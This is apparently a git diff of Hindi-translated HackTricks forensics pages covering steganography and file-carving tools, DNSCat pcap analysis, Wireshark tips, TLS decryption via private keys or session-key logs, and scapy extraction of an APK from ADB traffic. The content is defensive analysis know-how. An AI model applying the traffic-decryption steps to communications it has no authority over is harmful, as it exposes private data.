Steghide एक बहुमुखी उपकरण है जो डेटा को JPEG, BMP, WAV, और AU फ़ाइलों में छुपाने के लिए डिज़ाइन किया गया है। विस्तृत निर्देश [stego tricks documentation](stego-tricks.md#steghide) में उपलब्ध हैं।
|
||||
Steghide एक बहुपरकारी उपकरण है जिसे JPEG, BMP, WAV, और AU फ़ाइलों में डेटा छिपाने के लिए डिज़ाइन किया गया है। विस्तृत निर्देश [stego tricks documentation](stego-tricks.md#steghide) में प्रदान किए गए हैं।
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
यह उपकरण PNG, BMP, GIF, WebP, और WAV जैसे विभिन्न प्रारूपों के साथ संगत है। अधिक जानकारी के लिए, [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) का संदर्भ दें।
|
||||
यह उपकरण PNG, BMP, GIF, WebP, और WAV सहित विभिन्न प्रारूपों के साथ संगत है। अधिक जानकारी के लिए, [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) देखें।
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg ऑडियो फ़ाइलों की अखंडता का मूल्यांकन करने के लिए महत्वपूर्ण है, विस्तृत जानकारी को हाइलाइट करने और किसी भी असंगतियों को पहचानने के लिए।
|
||||
ffmpeg ऑडियो फ़ाइलों की अखंडता का आकलन करने के लिए महत्वपूर्ण है, विस्तृत जानकारी को उजागर करता है और किसी भी विसंगतियों को इंगित करता है।
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg WAV फ़ाइलों में डेटा छुपाने और निकालने में उत्कृष्ट है जो कम महत्वपूर्ण बिट रणनीति का उपयोग करता है। यह [GitHub](https://github.com/ragibson/Steganography#WavSteg) पर उपलब्ध है। आज्ञाएँ शामिल हैं:
|
||||
WavSteg WAV फ़ाइलों के भीतर डेटा को छिपाने और निकालने में सबसे कम महत्वपूर्ण बिट रणनीति का उपयोग करके उत्कृष्ट है। यह [GitHub](https://github.com/ragibson/Steganography#WavSteg) पर उपलब्ध है। कमांड में शामिल हैं:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||
```
|
||||
### **डीपसाउंड**
|
||||
### **Deepsound**
|
||||
|
||||
डीपसाउंड AES-256 का उपयोग करके ध्वनि फ़ाइलों में जानकारी का एन्क्रिप्शन और पहचान करने की अनुमति देता है। इसे [आधिकारिक पृष्ठ](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है।
|
||||
Deepsound ध्वनि फ़ाइलों के भीतर जानकारी के एन्क्रिप्शन और पहचान की अनुमति देता है, जो AES-256 का उपयोग करता है। इसे [आधिकारिक पृष्ठ](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है।
|
||||
|
||||
### **सॉनिक विज़ुअलाइज़र**
|
||||
### **Sonic Visualizer**
|
||||
|
||||
ऑडियो फ़ाइलों की दृश्यात्मक और विश्लेषणात्मक जांच के लिए एक अमूल्य उपकरण, सॉनिक विज़ुअलाइज़र अन्य साधनों द्वारा अनुसंधान न किए जा सकने वाले छुपे हुए तत्वों को प्रकट कर सकता है। अधिक जानकारी के लिए [आधिकारिक वेबसाइट](https://www.sonicvisualiser.org/) पर जाएं।
|
||||
ऑडियो फ़ाइलों के दृश्य और विश्लेषणात्मक निरीक्षण के लिए एक अमूल्य उपकरण, Sonic Visualizer छिपे हुए तत्वों को उजागर कर सकता है जो अन्य तरीकों से पता नहीं चल सकते। अधिक जानकारी के लिए [आधिकारिक वेबसाइट](https://www.sonicvisualiser.org/) पर जाएं।
|
||||
|
||||
### **डीटीएमएफ़ टोन्स - डायल टोन्स**
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
ऑडियो फ़ाइलों में डीटीएमएफ़ टोन्स का पता लगाना ऑनलाइन उपकरणों के माध्यम से संभव है, जैसे कि [यह डीटीएमएफ़ डिटेक्टर](https://unframework.github.io/dtmf-detect/) और [डायलएबीसी](http://dialabc.com/sound/detect/index.html)।
|
||||
ऑडियो फ़ाइलों में DTMF टोन का पता लगाने के लिए ऑनलाइन उपकरणों का उपयोग किया जा सकता है जैसे [यह DTMF डिटेक्टर](https://unframework.github.io/dtmf-detect/) और [DialABC](http://dialabc.com/sound/detect/index.html)।
|
||||
|
||||
## **अन्य तकनीकें**
|
||||
## **Other Techniques**
|
||||
|
||||
### **बाइनरी लेंथ एसक्यूआरटी - क्यूआर कोड**
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
पूर्णांक में वर्ग करने वाला बाइनरी डेटा एक क्यूआर कोड को प्रतिनिधित कर सकता है। इसे जांचने के लिए इस स्निपेट का उपयोग करें:
|
||||
बाइनरी डेटा जो एक पूर्ण संख्या के लिए वर्ग करता है, एक QR कोड का प्रतिनिधित्व कर सकता है। जांचने के लिए इस स्निपेट का उपयोग करें:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
### **ब्रेल अनुवाद**
|
||||
|
||||
ब्रेल का अनुवाद करने के लिए, [ब्रानाह ब्रेल अनुवादक](https://www.branah.com/braille-translator) एक उत्कृष्ट स्रोत है।
|
||||
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
|
||||
|
||||
## **संदर्भ**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और प्रैक्टिस करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और प्रैक्टिस करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
@ -35,7 +27,7 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github
|
|||
|
||||
**Binwalk** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है।
|
||||
|
||||
**उपयोगी कमांड**:
|
||||
**Useful commands**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
एक और सामान्य उपकरण जो छिपी हुई फ़ाइलों को खोजने के लिए है वह है **foremost**। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा।
|
||||
छिपी हुई फ़ाइलों को खोजने के लिए एक और सामान्य उपकरण **foremost** है। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा।
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -65,7 +57,7 @@ scalpel file.img -o output
|
|||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigate through **सभी जानकारी** that the tool has gathered (passwords?), **विश्लेषण करें** the **पैकेट** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **अजीब डोमेन** (domains related to **malware** or **non-existent**).
|
||||
Navigate through **सभी जानकारी** that the tool has gathered (passwords?), **विश्लेषण करें** the **पैकेट** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **अजीब डोमेन** (domains related to **malware** or **गैर-मौजूद**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
|
@ -77,7 +69,7 @@ It comes with GUI and CLI versions. You can select the **फाइल-प्र
|
|||
|
||||
### binvis
|
||||
|
||||
Check the [कोड](https://code.google.com/archive/p/binvis/) and the [वेब पेज टूल](https://binvis.io/#/).
|
||||
Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
|
||||
|
||||
#### Features of BinVis
|
||||
|
||||
|
@ -105,12 +97,6 @@ Download [यहाँ](https://sourceforge.net/projects/findaes/).
|
|||
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
|
||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -119,7 +105,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop)!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -15,27 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**Autopsy**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी हुई" फ़ाइलें खोजने के लिए फ़ाइल को इनजेस्ट करें। ध्यान दें कि Autopsy डिस्क छवियों और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाया गया है, लेकिन साधारण फ़ाइलों के लिए नहीं।
|
||||
फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**Autopsy**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए इसे फ़ाइल को इनजेस्ट करने दें। ध्यान दें कि Autopsy डिस्क छवियों और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाया गया है, लेकिन साधारण फ़ाइलों के लिए नहीं।
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है।
|
||||
|
||||
**उपयोगी कमांड**:
|
||||
**Useful commands**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
एक और सामान्य उपकरण जो छिपी हुई फ़ाइलों को खोजने के लिए है वह है **foremost**। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा।
|
||||
छिपी हुई फ़ाइलों को खोजने के लिए एक और सामान्य उपकरण **foremost** है। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा।
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -77,14 +69,14 @@ It comes with GUI and CLI versions. You can select the **फाइल-प्र
|
|||
|
||||
### binvis
|
||||
|
||||
Check the [कोड](https://code.google.com/archive/p/binvis/) and the [वेब पेज टूल](https://binvis.io/#/).
|
||||
Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
|
||||
|
||||
#### Features of BinVis
|
||||
|
||||
* Visual and active **संरचना दर्शक**
|
||||
* Multiple plots for different focus points
|
||||
* Focusing on portions of a sample
|
||||
* **देखना स्ट्रिंग्स और संसाधन**, in PE or ELF executables e. g.
|
||||
* **स्ट्रिंग्स और संसाधनों** को देखना, in PE or ELF executables e. g.
|
||||
* Getting **पैटर्न** for cryptanalysis on files
|
||||
* **स्पॉटिंग** packer or encoder algorithms
|
||||
* **पहचानें** Steganography by patterns
|
||||
|
@ -105,12 +97,6 @@ Download [यहाँ](https://sourceforge.net/projects/findaes/).
|
|||
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
|
||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -119,7 +105,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop)!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# DNSCat pcap विश्लेषण
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,28 +10,16 @@
|
|||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **stealer malwares** द्वारा **समझौता** किया गया है।
|
||||
यदि आपके पास **DNSCat द्वारा डेटा का exfiltrated** (एन्क्रिप्शन का उपयोग किए बिना) के साथ pcap है, तो आप exfiltrated सामग्री पा सकते हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन का **फ्री** में प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
यदि आपके पास DNSCat द्वारा **exfiltrated** डेटा के साथ pcap है (बिना एन्क्रिप्शन का उपयोग किए), तो आप exfiltrated सामग्री पा सकते हैं।
|
||||
|
||||
आपको केवल यह जानने की आवश्यकता है कि **पहले 9 बाइट्स** वास्तविक डेटा नहीं हैं बल्कि **C\&C संचार** से संबंधित हैं:
|
||||
आपको केवल यह जानने की आवश्यकता है कि **पहले 9 बाइट्स** असली डेटा नहीं हैं बल्कि **C\&C संचार** से संबंधित हैं:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या इसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Improve your Wireshark skills
|
||||
|
||||
|
@ -44,13 +31,13 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ
|
|||
|
||||
**Expert Information**
|
||||
|
||||
_**Analyze** --> **Expert Information**_ पर क्लिक करने से आपको पैकेटों में क्या हो रहा है इसका **अवलोकन** मिलेगा **विश्लेषित**:
|
||||
_**Analyze** --> **Expert Information**_ पर क्लिक करने से आपको पैकेट्स में हो रही गतिविधियों का **अवलोकन** मिलेगा **विश्लेषित**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (256).png>)
|
||||
|
||||
**Resolved Addresses**
|
||||
|
||||
_**Statistics --> Resolved Addresses**_ के तहत आप कई **जानकारी** पा सकते हैं जो wireshark द्वारा "**हल**" की गई है जैसे पोर्ट/परिवहन से प्रोटोकॉल, MAC से निर्माता, आदि। यह जानना दिलचस्प है कि संचार में क्या शामिल है।
|
||||
_**Statistics --> Resolved Addresses**_ के तहत आप कई **जानकारी** पा सकते हैं जो wireshark द्वारा "**resolved**" की गई है जैसे पोर्ट/परिवहन से प्रोटोकॉल, MAC से निर्माता, आदि। यह जानना दिलचस्प है कि संचार में क्या शामिल है।
|
||||
|
||||
![](<../../../.gitbook/assets/image (893).png>)
|
||||
|
||||
|
@ -86,7 +73,7 @@ _**Statistics --> I/O Graph**_ के तहत आप संचार का **
|
|||
|
||||
### Filters
|
||||
|
||||
यहाँ आप प्रोटोकॉल के आधार पर wireshark फ़िल्टर पा सकते हैं: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
यहां आप प्रोटोकॉल के आधार पर wireshark फ़िल्टर पा सकते हैं: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
अन्य दिलचस्प फ़िल्टर:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
|
@ -98,7 +85,7 @@ _**Statistics --> I/O Graph**_ के तहत आप संचार का **
|
|||
|
||||
### Search
|
||||
|
||||
यदि आप सत्रों के **पैकेटों** के अंदर **सामग्री** के लिए **खोज** करना चाहते हैं तो _CTRL+f_ दबाएँ। आप मुख्य जानकारी बार (No., Time, Source, आदि) में नए स्तर जोड़ सकते हैं दाएँ बटन दबाकर और फिर कॉलम संपादित करके।
|
||||
यदि आप सत्रों के **पैकेट्स** के अंदर **सामग्री** के लिए **खोज** करना चाहते हैं तो _CTRL+f_ दबाएं। आप मुख्य जानकारी बार (No., Time, Source, आदि) में नए लेयर जोड़ सकते हैं, दाएं बटन को दबाकर और फिर कॉलम संपादित करके।
|
||||
|
||||
### Free pcap labs
|
||||
|
||||
|
@ -134,11 +121,11 @@ _edit>preference>protocol>ssl>_
|
|||
|
||||
![](<../../../.gitbook/assets/image (1103).png>)
|
||||
|
||||
_संपादित_ पर क्लिक करें और सर्वर और निजी कुंजी (_IP, Port, Protocol, Key file और password_) का सभी डेटा जोड़ें।
|
||||
_संपादित करें_ और सर्वर और निजी कुंजी (_IP, Port, Protocol, Key file और password_) का सभी डेटा जोड़ें।
|
||||
|
||||
### Decrypting https traffic with symmetric session keys
|
||||
|
||||
Firefox और Chrome दोनों में TLS सत्र कुंजी लॉग करने की क्षमता होती है, जिसका उपयोग Wireshark के साथ TLS ट्रैफ़िक को डिक्रिप्ट करने के लिए किया जा सकता है। यह सुरक्षित संचार का गहन विश्लेषण करने की अनुमति देता है। इस डिक्रिप्शन को कैसे करना है, इस पर अधिक जानकारी [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) में एक गाइड में पाई जा सकती है।
|
||||
Firefox और Chrome दोनों में TLS सत्र कुंजी लॉग करने की क्षमता होती है, जिसका उपयोग Wireshark के साथ TLS ट्रैफ़िक को डिक्रिप्ट करने के लिए किया जा सकता है। यह सुरक्षित संचार का गहन विश्लेषण करने की अनुमति देता है। इस डिक्रिप्शन को कैसे करना है, इस पर अधिक जानकारी [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) में एक गाइड में मिल सकती है।
|
||||
|
||||
इसका पता लगाने के लिए वातावरण के अंदर `SSLKEYLOGFILE` वेरिएबल के लिए खोजें।
|
||||
|
||||
|
@ -152,7 +139,7 @@ Firefox और Chrome दोनों में TLS सत्र कुंजी
|
|||
|
||||
## ADB communication
|
||||
|
||||
ADB संचार से एक APK निकालें जहाँ APK भेजा गया था:
|
||||
ADB संचार से एक APK निकालें जहां APK भेजा गया था:
|
||||
```python
|
||||
from scapy.all import *
|
||||
|
||||
|
@ -179,29 +166,17 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
